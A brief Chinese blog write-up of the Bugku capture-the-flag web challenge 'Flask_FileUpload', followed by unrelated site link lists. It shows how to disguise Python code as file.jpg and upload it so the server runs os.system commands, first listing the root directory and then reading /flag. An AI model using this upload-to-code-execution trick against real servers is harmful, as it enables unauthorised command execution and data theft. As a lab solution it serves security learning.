技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
零基础123
几秒前
为什么 Agent 用 SQLite 数据库?
前端·人工智能·sqlite·开源
雪域迷影
4 分钟前
Python Django 7 小时课程
开发语言·python·django
xuyanzhuqing
11 分钟前
如何在一周内将一个巨石工程实现国际化
前端
量化吞吐机
16 分钟前
最高最低都一样,价格就同样集中吗
人工智能·python
数据掘金
17 分钟前
小程序埋点方案的埋点覆盖率怎么算?
前端
true803
17 分钟前
跨端开发的相册选择:弃用 uni-app 原生选图 API,直调 Android MediaStore 实现自定义相册架构
前端
数据掘金
18 分钟前
多AI平台回答快照的差异校验
前端
FITA阿泽要努力
18 分钟前
如何调用 LLM 接口
python·api·agent
于航
24 分钟前
从 Multi-Agent 到 Skill+CLI:个人助理 1.0 → 2.0 架构演进
前端
2301_78675660
26 分钟前
2026 JCR 秋季数据重载解读:影响因子为什么会变?附期刊影响力数据批量追踪方案
java·服务器·前端
热门推荐
01「全语录+省流版」邵艾伦 × 孙宇晨:聊风口、聊个人IP、聊年轻人如何抓住 AI 时代的机会02国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)03历年考研数学一、数学二、数学三真题试卷及答案PDF04GitHub 镜像站点05几个好用的ip纯净度检测网站06蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接07Windows 10/11 如何退出微软账户并改用本地账户登录(含找不到选项的解决方法)08Telegram APK 下载安装完整指南 — 2026年最新09微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新10轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地